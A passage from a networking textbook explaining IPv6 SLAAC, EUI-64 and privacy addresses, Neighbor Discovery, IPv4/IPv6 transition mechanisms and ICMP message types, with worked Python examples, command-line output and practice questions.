Modified EUI-64 derives it from the 48-bit MAC address: split the MAC in half, insert FFFE in the middle, and flip the seventh bit (the universal/local bit) of the first byte. It is deterministic — and that is the problem. The MAC is embedded in every address the device ever forms, so a device is trackable across every network it joins, permanently. A laptop moving between a home, an office, and a café would present the same identifier at each.

Privacy extensions (RFC 8981) replace it with a random identifier, regenerated periodically (typically daily). Modern systems use these by default for outbound connections while keeping a stable address for inbound services. That is why ip addr on a current Linux or macOS machine shows both a temporary address and a stable one.

The M and O flags in the RA determine how SLAAC and DHCPv6 divide the work:

M	O	Result
0	0	Pure SLAAC — address and everything else from the RA, no DHCP at all
0	1	Stateless DHCPv6 — address via SLAAC, other settings (DNS) from DHCPv6
1	—	Stateful DHCPv6 — the DHCP server assigns addresses, like IPv4

A long-standing practical gap is worth naming: the original RA carried no DNS server information, so pure SLAAC networks needed stateless DHCPv6 just to convey a resolver. RDNSS (RFC 8106) added DNS options to the RA, and support is now broad — making genuinely server-free networks practical.

SLAAC's security weakness mirrors ARP's. RAs are unauthenticated, so any host can send one and claim to be the router. A rogue RA — malicious, or simply a misconfigured device with Windows Internet Connection Sharing enabled — redirects an entire segment. The defence is RA Guard on access ports: drop RAs arriving from ports where no router should exist.

Examples

SLAAC, end to end

  host boots
    |
    1. build fe80::<iid>                      (no help needed)
    |
    2. DAD: NS for fe80::<iid>, source ::     "is anyone using this?"
    |       ...silence... -> the address is mine
    |
    3. RS -> ff02::2  "routers, please advertise"
    |
    4. RA <- router:  prefix 2001:db8:1:1::/64, lifetime, MTU 1500,
    |                 default gw = the router's fe80::, M=0 O=0, RDNSS
    |
    5. build 2001:db8:1:1:<iid>, run DAD on it, then use it.

  Total infrastructure required: a router that sends RAs. No DHCP server,
  no lease database, no relay configuration.


Modified EUI-64: MAC -> interface identifier

  MAC:            00:1A:2B:3C:4D:5E
  split:          00:1A:2B  |  3C:4D:5E
  insert FFFE:    00:1A:2B  FF:FE  3C:4D:5E
  flip bit 7 of the first byte (the universal/local bit):
       0x00 = 00000000
                     ^ bit 7 (counting from 0 on the left)
       flip ->  00000010 = 0x02
  result:         02:1A:2B:FF:FE:3C:4D:5E
  as an IID:      021a:2bff:fe3c:4d5e

  Full address:   2001:db8:1:1:21a:2bff:fe3c:4d5e
                                ^^^^^^^^^^^^^^^^^ your MAC, visible to every
                                server you ever contact, on every network.
                                Privacy extensions exist for this reason.

def eui64(mac: str) -> str:
    """Modified EUI-64: derive a 64-bit interface identifier from a MAC."""
    parts = [int(x, 16) for x in mac.replace("-", ":").split(":")]
    parts[0] ^= 0b00000010                     # flip the universal/local bit
    full = parts[:3] + [0xFF, 0xFE] + parts[3:]    # insert FF:FE in the middle
    groups = [f"{full[i]:02x}{full[i+1]:02x}" for i in range(0, 8, 2)]
    return ":".join(groups)

def slaac_address(prefix64: str, mac: str) -> str:
    import ipaddress
    net = ipaddress.ip_network(prefix64)
    iid = int(eui64(mac).replace(":", ""), 16)
    return str(ipaddress.IPv6Address(int(net.network_address) | iid))

mac = "00:1a:2b:3c:4d:5e"
print("MAC           ", mac)
print("EUI-64 IID    ", eui64(mac))
print("SLAAC address ", slaac_address("2001:db8:1:1::/64", mac))
# MAC            00:1a:2b:3c:4d:5e
# EUI-64 IID     021a:2bff:fe3c:4d5e
# SLAAC address  2001:db8:1:1:21a:2bff:fe3c:4d5e

# The same MAC on three different networks — the tracking problem.
for prefix in ["2001:db8:1:1::/64", "2001:db8:99:5::/64", "2a00:1450:4001:82b::/64"]:
    print(slaac_address(prefix, mac))
# 2001:db8:1:1:21a:2bff:fe3c:4d5e
# 2001:db8:99:5:21a:2bff:fe3c:4d5e
# 2a00:1450:4001:82b:21a:2bff:fe3c:4d5e
#                    ^^^^^^^^^^^^^^^^^^ identical suffix everywhere:
#                    home, office, and café all see the same device.

# Solicited-node multicast: how DAD and NDP avoid interrupting everyone.
def solicited_node(addr: str) -> str:
    import ipaddress
    low24 = int(ipaddress.IPv6Address(addr)) & 0xFFFFFF
    return str(ipaddress.IPv6Address(int(ipaddress.IPv6Address("ff02::1:ff00:0")) | low24))

for a in ["2001:db8:1:1:21a:2bff:fe3c:4d5e", "fe80::1"]:
    print(f"{a:<34} -> {solicited_node(a)}")
# 2001:db8:1:1:21a:2bff:fe3c:4d5e    -> ff02::1:ff3c:4d5e
# fe80::1                            -> ff02::1:ff00:1
#   Only hosts whose low 24 bits match subscribe, so typically ONE NIC
#   is interrupted instead of every host on the segment (IPv4 broadcast ARP).

def ra_meaning(m, o):
    if m:      return "STATEFUL DHCPv6: the server assigns addresses (IPv4-like)"
    if o:      return "STATELESS DHCPv6: SLAAC for addresses, DHCPv6 for DNS etc"
    return     "PURE SLAAC: no DHCP server anywhere on the network"

for m, o in [(0, 0), (0, 1), (1, 0)]:
    print(f"M={m} O={o}: {ra_meaning(m, o)}")
# M=0 O=0: PURE SLAAC: no DHCP server anywhere on the network
# M=0 O=1: STATELESS DHCPv6: SLAAC for addresses, DHCPv6 for DNS etc
# M=1 O=0: STATEFUL DHCPv6: the server assigns addresses (IPv4-like)

# SLAAC in progress, on the wire.
$ sudo tcpdump -i eth0 -n 'icmp6 and (ip6[40] == 133 or ip6[40] == 134)'
# IP6 :: > ff02::2: ICMP6, router solicitation, length 8
#    ^^ source is the UNSPECIFIED address: no address exists yet
# IP6 fe80::1 > ff02::1: ICMP6, router advertisement, length 64
#        hop limit 64, Flags [none], pref medium, router lifetime 1800s
#                      ^^^^^^^^^^^^ M=0 O=0 -> pure SLAAC
#        prefix info option (3), length 32: 2001:db8:1:1::/64, Flags [onlink, auto]
#        rdnss option (25), length 24: 2001:4860:4860::8888
#                                      ^ DNS in the RA — no DHCPv6 needed

# The resulting addresses on the host:
$ ip -6 addr show eth0
# inet6 2001:db8:1:1:9c2f:41a8:7d3e:112b/64 scope global temporary dynamic
#                                           ^^^^^^^^^ privacy address, rotated
# inet6 2001:db8:1:1:21a:2bff:fe3c:4d5e/64 scope global mngtmpaddr noprefixroute
#                     ^^^^^^^^^^^^^^^^^ EUI-64, stable, used for inbound
# inet6 fe80::21a:2bff:fe3c:4d5e/64 scope link

# The default route came from the RA, pointing at a LINK-LOCAL address:
$ ip -6 route show default
# default via fe80::1 dev eth0 proto ra metric 1024 expires 1789sec
#             ^^^^^^^ gateways are link-local in IPv6  ^^^^^^^^ from the RA

# Controlling privacy addresses:
$ sysctl net.ipv6.conf.eth0.use_tempaddr
# net.ipv6.conf.eth0.use_tempaddr = 2      # 2 = prefer temporary for outbound

# Rogue RA defence on a switch access port:
# interface GigabitEthernet1/0/5
#   ipv6 nd raguard attach-policy HOST_PORTS   <- no RAs may originate here

Key takeaways

• SLAAC lets a host form a global address from a router-advertised prefix plus a self-generated interface identifier — no server, no lease state.
• Sequence: link-local address, DAD, Router Solicitation to ff02::2, Router Advertisement, build and verify the global address.
• Modified EUI-64 derives the identifier from the MAC by inserting FFFE and flipping the universal/local bit — deterministic, and therefore a tracking hazard.
• Privacy extensions (RFC 8981) use random, periodically regenerated identifiers; hosts typically keep a stable address for inbound and a temporary one for outbound.
• RA flags: M=0,O=0 pure SLAAC; M=0,O=1 stateless DHCPv6 for DNS; M=1 stateful DHCPv6.
• RDNSS (RFC 8106) carries DNS servers in the RA, removing the last reason to run DHCPv6 on simple networks.
• IPv6 default gateways are link-local addresses, learned from the RA.
• RAs are unauthenticated, so rogue RAs (malicious or accidental) hijack a segment; RA Guard on access ports is the defence.

🧪 Practice

1. Derive the modified EUI-64 interface identifier for MAC 3c:22:fb:0a:91:7e, showing the bit flip, and give the full address under prefix 2001:db8:a:b::/64.
2. List the messages exchanged, in order, from interface up to a usable global address, naming the multicast destination of each.
3. Explain what a device reveals about itself by using EUI-64 addressing across three different networks, and how privacy extensions change that.
4. Interview-style: A network has no DHCP server at all, yet every host has a routable address and working DNS. Explain how, and name the two mechanisms involved. (Hint: one supplies the prefix, and a relatively recent RA option supplies the resolver.)

ICMPv6 and Neighbor Discovery

Theory

In IPv4, address resolution (ARP), router discovery (ICMP Router Discovery), redirects (ICMP), and error reporting (ICMP) are separate, loosely related mechanisms — and ARP is not even carried inside IP, which makes its layer placement genuinely ambiguous.

IPv6 consolidates all of it into ICMPv6, and the address-resolution part is called Neighbor Discovery Protocol (NDP, RFC 4861). Because NDP rides inside ICMPv6, which rides inside IPv6, it is unambiguously a layer 3 protocol. This also means ICMPv6 cannot be blocked the way many networks reflexively block ICMPv4 — doing so breaks address resolution, router discovery, and Path MTU Discovery, and the network stops working. This is one of the most common IPv6 deployment mistakes.

ICMPv6 message types split into two ranges, distinguished by the high bit:

Range	Class	Examples
0–127	Errors	1 Destination Unreachable, 2 Packet Too Big, 3 Time Exceeded, 4 Parameter Problem
128–255	Informational	128/129 Echo Request/Reply, 133–137 NDP

The five NDP messages:

Type	Name	Purpose
133	Router Solicitation (RS)	"Routers, advertise yourselves"
134	Router Advertisement (RA)	Prefix, gateway, MTU, M/O flags, DNS
135	Neighbor Solicitation (NS)	"Who has this address?" — the ARP replacement
136	Neighbor Advertisement (NA)	"I do, at this link-layer address"
137	Redirect	"There is a better first hop for that destination"

NDP performs six distinct functions that IPv4 scattered across several protocols: address resolution, router discovery, prefix discovery and SLAAC, Duplicate Address Detection, Neighbor Unreachability Detection (NUD), and redirects.

The single most important improvement over ARP is the use of solicited-node multicast instead of broadcast. When resolving an address, a host does not shout at everyone. It computes ff02::1:ff followed by the low 24 bits of the target address and sends the NS there. Only hosts whose addresses share those 24 bits have subscribed to that group, so typically exactly one NIC is interrupted. On a 1,000-host segment, ARP interrupts 1,000 machines; NDP interrupts one. The difference is not cosmetic — it is a meaningful reduction in wasted CPU across the whole segment.

Neighbor Unreachability Detection is another genuine improvement. ARP caches entries until a timer expires, so a dead neighbour is discovered only by timing out. NDP tracks per-neighbour reachability state — REACHABLE, STALE, DELAY, PROBE, FAILED — and actively confirms, using hints from upper layers (a TCP ACK proves the neighbour is alive, so no probe is needed). Failover after a neighbour dies is faster and less guesswork.

NDP inherits ARP's fundamental weakness: it is unauthenticated. NDP spoofing and rogue RAs are the direct analogues of ARP spoofing, and the defences are analogous too — RA Guard and ND Inspection at the switch port, backed by DHCPv6 snooping where applicable. SEND (Secure Neighbor Discovery) exists but is essentially undeployed.

Examples

NDP address resolution vs ARP — who gets interrupted

  IPv4 ARP on a 1,000-host segment:
     host --> BROADCAST ff:ff:ff:ff:ff:ff  "who has 192.168.1.50?"
              ALL 1,000 NICs accept the frame, interrupt their CPU,
              parse it, and 999 of them discard it.

  IPv6 NDP:
     target  = 2001:db8::21a:2bff:fe3c:4d5e
     low 24 bits = 3c:4d:5e
     group   = ff02::1:ff3c:4d5e
     host --> NS to ff02::1:ff3c:4d5e   "who has 2001:db8::...4d5e?"
              Only NICs subscribed to that group accept it.
              Typically exactly ONE machine is interrupted.


The five NDP messages in context

   host                                      router
    |-- RS  (133) ---> ff02::2                  |    "advertise yourselves"
    |<-- RA  (134) --- ff02::1 -----------------|    prefix, gw, MTU, DNS
    |
    |-- NS  (135) ---> ff02::1:ffXX:XXXX        |    "who has <addr>?"
    |<-- NA  (136) --- unicast ------ neighbour |    "I do, MAC is ..."
    |
    |<-- Redirect (137) ------------------------|    "use that other router"


ICMPv6 type ranges: the high bit separates errors from information

    0xxxxxxx  =   0-127  ERRORS         (1 unreachable, 2 too big, 3 time exceeded)
    1xxxxxxx  = 128-255  INFORMATIONAL  (128/129 echo, 133-137 NDP)

  Consequence: a device short on resources can drop informational messages
  while still processing errors, just by testing one bit.

import ipaddress

ICMPV6 = {
    1:   ("Destination Unreachable", "error"),
    2:   ("Packet Too Big",          "error — REQUIRED for PMTUD"),
    3:   ("Time Exceeded",           "error — traceroute depends on it"),
    4:   ("Parameter Problem",       "error"),
    128: ("Echo Request",            "informational — ping"),
    129: ("Echo Reply",              "informational — ping"),
    133: ("Router Solicitation",     "NDP — ask routers to advertise"),
    134: ("Router Advertisement",    "NDP — prefix, gateway, MTU, DNS"),
    135: ("Neighbor Solicitation",   "NDP — replaces ARP request"),
    136: ("Neighbor Advertisement",  "NDP — replaces ARP reply"),
    137: ("Redirect",                "NDP — better first hop available"),
}

for t in sorted(ICMPV6):
    name, purpose = ICMPV6[t]
    cls = "ERROR" if t < 128 else "INFO "
    print(f"{t:>3} [{cls}] {name:<24} {purpose}")
#   1 [ERROR] Destination Unreachable  error
#   2 [ERROR] Packet Too Big           error — REQUIRED for PMTUD
#   3 [ERROR] Time Exceeded            error — traceroute depends on it
#   4 [ERROR] Parameter Problem        error
# 128 [INFO ] Echo Request             informational — ping
# 129 [INFO ] Echo Reply               informational — ping
# 133 [INFO ] Router Solicitation      NDP — ask routers to advertise
# 134 [INFO ] Router Advertisement     NDP — prefix, gateway, MTU, DNS
# 135 [INFO ] Neighbor Solicitation    NDP — replaces ARP request
# 136 [INFO ] Neighbor Advertisement   NDP — replaces ARP reply
# 137 [INFO ] Redirect                 NDP — better first hop available

def solicited_node_group(addr):
    """ff02::1:ff + the target's low 24 bits."""
    low24 = int(ipaddress.IPv6Address(addr)) & 0xFFFFFF
    base = int(ipaddress.IPv6Address("ff02::1:ff00:0"))
    return ipaddress.IPv6Address(base | low24)

def multicast_mac(group):
    """IPv6 multicast maps to 33:33 + the group's low 32 bits."""
    low32 = int(group) & 0xFFFFFFFF
    b = low32.to_bytes(4, "big")
    return "33:33:" + ":".join(f"{x:02x}" for x in b)

for target in ["2001:db8::21a:2bff:fe3c:4d5e", "2001:db8:abcd::9f8e:7d6c"]:
    g = solicited_node_group(target)
    print(f"\ntarget {target}")
    print(f"  solicited-node group {g}")
    print(f"  ethernet destination {multicast_mac(g)}")
#
# target 2001:db8::21a:2bff:fe3c:4d5e
#   solicited-node group ff02::1:ff3c:4d5e
#   ethernet destination 33:33:ff:3c:4d:5e
#
# target 2001:db8:abcd::9f8e:7d6c
#   solicited-node group ff02::1:ff8e:7d6c
#   ethernet destination 33:33:ff:8e:7d:6c

# How much interrupt work each approach costs on a busy segment.
def interrupts(hosts, resolutions_per_sec, method):
    return hosts * resolutions_per_sec if method == "arp" else resolutions_per_sec

for hosts in (50, 500, 5000):
    arp = interrupts(hosts, 100, "arp")
    ndp = interrupts(hosts, 100, "ndp")
    print(f"{hosts:>5} hosts, 100 resolutions/s: ARP {arp:>7,} interrupts/s  "
          f"NDP {ndp:>5,} interrupts/s  ({arp//ndp}x)")
#    50 hosts, 100 resolutions/s: ARP   5,000 interrupts/s  NDP   100 interrupts/s  (50x)
#   500 hosts, 100 resolutions/s: ARP  50,000 interrupts/s  NDP   100 interrupts/s  (500x)
#  5000 hosts, 100 resolutions/s: ARP 500,000 interrupts/s  NDP   100 interrupts/s  (5000x)

# The neighbour cache, with reachability STATE — richer than an ARP table.
$ ip -6 neigh show
# fe80::1 dev eth0 lladdr 00:1a:2b:3c:4d:5e router REACHABLE
#                                           ^^^^^^ NDP records that this IS a router
# 2001:db8:1:1::50 dev eth0 lladdr 52:54:00:11:22:33 STALE
#                                                    ^^^^^ NUD will probe before use
# 2001:db8:1:1::99 dev eth0 FAILED
#                           ^^^^^^ actively determined unreachable, not merely aged out

# NDP on the wire — note the multicast destination, not a broadcast:
$ sudo tcpdump -i eth0 -n 'icmp6 and ip6[40] >= 133 and ip6[40] <= 137'
# IP6 fe80::a1b2 > ff02::1:ff3c:4d5e: ICMP6, neighbor solicitation,
#                  ^^^^^^^^^^^^^^^^^ solicited-node multicast
#     who has 2001:db8:1:1:21a:2bff:fe3c:4d5e, length 32
# IP6 2001:db8:1:1:21a:2bff:fe3c:4d5e > fe80::a1b2: ICMP6, neighbor advertisement,
#     tgt is 2001:db8:1:1:21a:2bff:fe3c:4d5e, length 32

# The mistake that breaks IPv6 networks — do NOT do this:
# ip6tables -A INPUT -p icmpv6 -j DROP
#   ^ this kills NDP (no address resolution), RA (no gateway),
#     and Packet Too Big (PMTUD black hole). The network simply stops.

# The correct approach: permit the essential types.
$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbour-solicitation  -j ACCEPT
$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT
$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement    -j ACCEPT
$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type packet-too-big          -j ACCEPT

Key takeaways

• IPv6 folds ARP, router discovery, redirects, and error reporting into ICMPv6; the resolution part is NDP, which is unambiguously layer 3.
• ICMPv6 must not be blocked wholesale — doing so breaks address resolution, router discovery, and PMTUD.
• Types 0–127 are errors, 128–255 informational; the split is one bit.
• Five NDP messages: RS (133), RA (134), NS (135), NA (136), Redirect (137).
• NDP uses solicited-node multicast (ff02::1:ff + the target's low 24 bits), so one host is interrupted rather than every host on the segment.
• The Ethernet destination for IPv6 multicast is 33:33: + the group's low 32 bits.
• NDP absorbs six functions: address resolution, router discovery, prefix discovery and SLAAC, DAD, NUD, and redirects.
• NUD tracks per-neighbour state (REACHABLE/STALE/DELAY/PROBE/FAILED) using upper-layer hints, giving faster and more accurate failure detection than ARP's timers.
• NDP is unauthenticated, so NDP spoofing and rogue RAs mirror ARP spoofing; RA Guard and ND Inspection are the practical defences.

🧪 Practice

1. Compute the solicited-node multicast address and the destination Ethernet MAC for 2001:db8:99::4a1b:2c3d.
2. Name the ICMPv6 type number for each of: neighbour solicitation, router advertisement, packet too big, echo request. State which are errors.
3. Explain, with a 2,000-host segment as the example, why NDP's multicast is materially better than ARP's broadcast.
4. Interview-style: An administrator blocks all ICMPv6 at the firewall "for security", copying their IPv4 policy. Describe what breaks and why. (Hint: ICMPv4 is optional for basic connectivity; list what IPv6 carries inside ICMPv6 that IPv4 carries elsewhere.)

Transition Mechanisms: Dual Stack, Tunneling, Translation

Theory

IPv4 and IPv6 are incompatible protocols. An IPv6-only host cannot send a packet an IPv4-only host will understand — the header formats differ, the address lengths differ, and no amount of goodwill bridges that. Since the internet cannot be switched over on a flag day, the two must coexist, and the coexistence strategies fall into three families.

Dual stack — run both protocols on the same hosts and routers. Every device has an IPv4 address and an IPv6 address, and each connection uses whichever the peer supports.

This is the preferred approach, because there is no translation, no tunnelling, and therefore nothing to break or debug in the middle. Its costs are that you need IPv4 addresses (which is the shortage you were trying to escape), and every device, firewall rule, and monitoring system must be maintained twice — including, notably, security policy. A frequent real-world failure is a network where IPv4 is carefully firewalled and IPv6 is wide open because nobody wrote the second ruleset.

Dual stack raises the question of which protocol to prefer, and the answer is Happy Eyeballs (RFC 8305): try both, prefer IPv6, but fall back to IPv4 after a short delay (typically ~250 ms) if IPv6 is not responding promptly. This is why a broken IPv6 path usually produces a barely noticeable delay rather than a failure — browsers race the two and take whichever answers.

Tunnelling — carry IPv6 packets as the payload of IPv4 packets (or the reverse), crossing infrastructure that only speaks the other protocol.

Mechanism	Shape	Status
6in4 (protocol 41)	Manual point-to-point tunnel	Stable, used for tunnel brokers
6to4 (2002::/16)	Automatic, uses relays	Deprecated — relays are unreliable and unaccountable
Teredo	IPv6 over UDP, traverses NAT	Largely deprecated; a last resort
6rd	6to4 fixed, within one ISP's own network	Used in real ISP deployments
GRE / IPsec	Generic encapsulation	Common for site-to-site

Tunnels add header overhead (reducing the effective MTU, which makes PMTUD problems more likely), add latency if the endpoint is topologically distant, and make troubleshooting harder because the real path is hidden inside the encapsulation.

Translation — rewrite packets between the two protocols. NAT64 with DNS64 is the mechanism that matters today:

1. An IPv6-only client asks its resolver for example.com.
2. DNS64 finds only an A record (IPv4), so it synthesises an AAAA record by embedding the IPv4 address in a well-known prefix, usually 64:ff9b::/96.
3. The client sends IPv6 packets to 64:ff9b::<ipv4>.
4. The NAT64 gateway recognises the prefix, translates the packet to IPv4, and forwards it, keeping state like any NAT.

This is how IPv6-only mobile networks operate at scale — handsets receive no IPv4 address at all, and NAT64 handles legacy destinations. Its limitation is inherited from NAT: it breaks protocols carrying literal IP addresses in their payload, and DNS64 is incompatible with DNSSEC validation because it forges records.

The industry consensus on sequencing: dual stack where you can, NAT64/DNS64 where you must, tunnels only as a stopgap. The long-term destination is IPv6-only with translation at the edge for what remains of the IPv4 internet.

Examples

The three families

  DUAL STACK — both protocols, natively, no middlebox
     host[v4+v6] === network[v4+v6] === server[v4+v6]
     v6 talks to v6, v4 talks to v4. Nothing is rewritten. Preferred.

  TUNNELLING — one protocol carried inside the other
     host[v6] --- [encap] === IPv4-only network === [decap] --- host[v6]
                   ^ IPv6 packet becomes the PAYLOAD of an IPv4 packet
     +--------------+------------------+---------------------+
     | IPv4 hdr (20)| IPv6 hdr (40)    | TCP + data          |
     +--------------+------------------+---------------------+
       ^ 20 bytes of overhead -> effective MTU drops to 1480

  TRANSLATION — packets are rewritten between protocols
     host[v6-only] --- IPv6 --- [NAT64] --- IPv4 --- server[v4-only]
                                 ^ rewrites headers and keeps state


NAT64 + DNS64, step by step

  1. client (IPv6-only) asks: AAAA example.com?
  2. DNS64 resolver: no AAAA exists. Looks up A -> 93.184.216.34
  3. DNS64 SYNTHESISES: 64:ff9b::5db8:d822
                        ^^^^^^^^^^ well-known prefix
                                   ^^^^^^^^^ 93.184.216.34 in hex
  4. client sends IPv6 to 64:ff9b::5db8:d822
  5. NAT64 gateway: prefix matches -> strip IPv6, build IPv4,
     src = a pooled public IPv4, dst = 93.184.216.34
  6. reply comes back, gateway translates in reverse using its state table.

  The client has never had an IPv4 address and never will.

import ipaddress

def dns64_synthesise(ipv4, prefix="64:ff9b::/96"):
    """Embed an IPv4 address in the NAT64 well-known prefix."""
    net = ipaddress.ip_network(prefix)
    v4_int = int(ipaddress.IPv4Address(ipv4))
    return ipaddress.IPv6Address(int(net.network_address) | v4_int)

def nat64_extract(v6):
    """The gateway's reverse operation: recover the IPv4 address."""
    return ipaddress.IPv4Address(int(ipaddress.IPv6Address(v6)) & 0xFFFFFFFF)

for v4 in ["93.184.216.34", "8.8.8.8", "203.0.113.9"]:
    synth = dns64_synthesise(v4)
    print(f"{v4:<16} -> {str(synth):<22} -> back to {nat64_extract(synth)}")
# 93.184.216.34    -> 64:ff9b::5db8:d822     -> back to 93.184.216.34
# 8.8.8.8          -> 64:ff9b::808:808       -> back to 8.8.8.8
# 203.0.113.9      -> 64:ff9b::cb00:7109     -> back to 203.0.113.9

# Tunnel overhead: every encapsulation costs MTU.
def effective_mtu(base_mtu, layers):
    OVERHEAD = {"IPv4": 20, "IPv6": 40, "GRE": 4, "UDP": 8, "IPsec-ESP": 56,
                "WireGuard": 32}
    total = sum(OVERHEAD[l] for l in layers)
    return base_mtu - total, total

for layers, label in [(["IPv4"], "6in4 (protocol 41)"),
                      (["IPv4", "UDP"], "Teredo (IPv6 over UDP/IPv4)"),
                      (["IPv4", "GRE"], "GRE"),
                      (["IPv4", "IPsec-ESP"], "IPsec tunnel mode")]:
    mtu, oh = effective_mtu(1500, layers)
    mss = mtu - 40 - 20         # IPv6 header + TCP header
    print(f"{label:<30} overhead {oh:>3} B -> MTU {mtu} -> IPv6 TCP MSS {mss}")
# 6in4 (protocol 41)             overhead  20 B -> MTU 1480 -> IPv6 TCP MSS 1420
# Teredo (IPv6 over UDP/IPv4)    overhead  28 B -> MTU 1472 -> IPv6 TCP MSS 1412
# GRE                            overhead  24 B -> MTU 1476 -> IPv6 TCP MSS 1416
# IPsec tunnel mode              overhead  76 B -> MTU 1424 -> IPv6 TCP MSS 1364

# Happy Eyeballs: why a broken IPv6 path is a delay, not an outage.
def happy_eyeballs(v6_rtt_ms, v4_rtt_ms, v6_delay_ms=250):
    if v6_rtt_ms is None:
        return f"IPv6 failed; IPv4 used after the {v6_delay_ms} ms timer -> " \
               f"{v6_delay_ms + v4_rtt_ms} ms total"
    if v6_rtt_ms <= v6_delay_ms:
        return f"IPv6 answered in {v6_rtt_ms} ms -> IPv6 preferred"
    return f"IPv6 too slow ({v6_rtt_ms} ms); IPv4 won the race -> {v4_rtt_ms} ms"

print()
for v6, v4 in [(20, 25), (None, 25), (800, 25)]:
    print(happy_eyeballs(v6, v4))
# IPv6 answered in 20 ms -> IPv6 preferred
# IPv6 failed; IPv4 used after the 250 ms timer -> 275 ms total
# IPv6 too slow (800 ms); IPv4 won the race -> 25 ms

# Dual stack: both families present and both used.
$ ip -brief addr show eth0
# eth0  UP  192.168.1.20/24 2001:db8:1:1::20/64 fe80::21a:2bff:fe3c:4d5e/64
$ curl -s4 https://icanhazip.com ; curl -s6 https://icanhazip.com
# 203.0.113.44
# 2001:db8:1:1::20

# Happy Eyeballs in action — curl reports which family won:
$ curl -sw '%{remote_ip} in %{time_connect}s\n' -o /dev/null https://www.google.com
# 2a00:1450:4001:82b::2004 in 0.021s        <- IPv6 preferred when healthy

# A 6in4 tunnel, configured manually:
$ sudo ip tunnel add he-ipv6 mode sit remote 216.66.80.30 local 203.0.113.44 ttl 255
$ sudo ip link set he-ipv6 up mtu 1480      # note: 1480, not 1500 — 20 B of IPv4
$ sudo ip -6 addr add 2001:470:1f0a:abc::2/64 dev he-ipv6
$ sudo ip -6 route add default via 2001:470:1f0a:abc::1 dev he-ipv6

# NAT64 visible from an IPv6-only client — the synthesised AAAA:
$ dig AAAA example.com +short            # on an IPv6-only mobile network
# 64:ff9b::5db8:d822
#  ^^^^^^^^ the well-known NAT64 prefix; no real AAAA record exists upstream

# Verify a network is genuinely IPv6-only with NAT64:
$ ip -4 addr show | grep -c "inet "      # 1 = loopback only, no IPv4 at all
# 1
$ ping6 -c1 64:ff9b::8.8.8.8             # reaching IPv4 space over IPv6
# 64 bytes from 64:ff9b::808:808: icmp_seq=1 ttl=118 time=18.4 ms

Key takeaways

• IPv4 and IPv6 are incompatible; coexistence uses dual stack, tunnelling, or translation.
• Dual stack is preferred — nothing is rewritten — but it requires IPv4 addresses and doubles every configuration, especially firewall rules.
• Happy Eyeballs (RFC 8305) races both families and prefers IPv6, falling back after ~250 ms, so a broken IPv6 path degrades to a delay rather than an outage.
• Tunnelling encapsulates one protocol in the other: 6in4 and 6rd are viable; 6to4 and Teredo are deprecated.
• Every tunnel reduces the effective MTU (6in4 costs 20 bytes), which makes PMTUD failures more likely.
• NAT64 + DNS64 lets IPv6-only clients reach IPv4 servers: DNS64 synthesises an AAAA inside 64:ff9b::/96, and NAT64 translates the packets.
• NAT64 powers IPv6-only mobile networks, but inherits NAT's limitations and is incompatible with DNSSEC validation because DNS64 forges records.
• Sequencing consensus: dual stack where possible, NAT64 where necessary, tunnels only as a stopgap.

🧪 Practice

1. Synthesise the DNS64 address for 198.51.100.77 under 64:ff9b::/96, showing the hexadecimal conversion.
2. Compute the effective MTU and IPv6 TCP MSS for an IPv6-in-IPv4 tunnel over a 1,500-byte Ethernet link.
3. Explain why a dual-stack network commonly ends up less secure than an IPv4-only one, and what practice prevents it.
4. Interview-style: A user on an IPv6-only mobile network loads an IPv4-only website successfully. Trace what happened at the DNS layer and at the packet layer. (Hint: the client never obtains an IPv4 address — so something must have invented an AAAA record, and something else must have rewritten the packets.)

<a id="55-supporting-protocols"></a>

5.5 Supporting Protocols

IP alone cannot report failures, hand out addresses, or discover how large a packet may be; this subchapter covers the protocols that fill those gaps and the diagnostic tools built on them.

ICMP Message Types and Operation

Theory

IP is best-effort and stateless, which means it drops packets without telling anyone. If that were literally true, a sender would have no way to distinguish "the destination is switched off" from "the network is slow", and every failure would look like silence.

ICMP (Internet Control Message Protocol, RFC 792) is the feedback channel. It is IP's companion protocol for error reporting and diagnostics — and crucially, it reports errors, it does not fix them. An ICMP message tells the source what went wrong; deciding what to do about it is the source's business.

Three structural properties shape how ICMP behaves.

ICMP is carried inside IP (protocol number 1), yet it is considered part of the network layer rather than a layer above it. It exists to serve IP, not applications.

ICMP errors are not sent about ICMP errors. Without this rule, a single bad packet could trigger an infinite exchange of error messages between two hosts.

An ICMP error carries the offending packet's IP header plus the first 8 bytes of its payload. Those 8 bytes are exactly enough to include the TCP or UDP source and destination ports, which is how a host knows which connection the error concerns. Without it, an ICMP error would be uselessly vague.

The message types worth knowing:

Type	Code	Name	Meaning
0	0	Echo Reply	Response to a ping
3	0	Net Unreachable	No route to the network
3	1	Host Unreachable	Network reached, host did not answer
3	3	Port Unreachable	Nothing listening on that UDP port
3	4	Fragmentation Needed, DF set	Too big; carries the next-hop MTU — PMTUD depends on this
3	13	Communication Administratively Prohibited	A firewall dropped it deliberately
5	0	Redirect	A better first hop exists for that destination
8	0	Echo Request	A ping
11	0	TTL Exceeded in Transit	Hop budget expired — traceroute depends on this
11	1	Fragment Reassembly Time Exceeded	Fragments never completed
12	0	Parameter Problem	Malformed header

Two entries carry disproportionate weight. Type 3 Code 4 is the sole signal that makes Path MTU Discovery work; block it and you create an MTU black hole where small packets succeed and large ones vanish. Type 11 Code 0 is the sole mechanism behind traceroute.

This leads to the central operational tension around ICMP. It is genuinely abusable: ping floods and smurf amplification use echo, ICMP tunnelling exfiltrates data in echo payloads, and error messages leak topology. The reflexive response — "block ICMP" — is one of the most damaging pieces of folk security advice in networking, because it breaks PMTUD (silently, and only for large packets), breaks traceroute, and makes every failure look like a timeout.

The correct posture is selective filtering plus rate limiting: always permit type 3 code 4 and type 11, permit echo at a controlled rate, and rate-limit ICMP generation to protect the control plane. In IPv6 the stakes are higher still — since NDP is carried in ICMPv6, blocking it wholesale breaks the network outright.

Examples

ICMP error structure — why 8 bytes of payload matter

  +----------------+--------+--------+------------------+
  | IP header      | Type   | Code   | Checksum         |
  | (of the ICMP   +--------+--------+------------------+
  |  message)      | unused / MTU / pointer, per type   |
  +----------------+------------------------------------+
  |  ORIGINAL IP HEADER (of the packet that failed)     |
  +-----------------------------------------------------+
  |  FIRST 8 BYTES of the original payload              |
  +-----------------------------------------------------+
           ^ for TCP/UDP this covers source + dest ports,
             so the receiving host can match the error to
             the exact SOCKET that caused it.

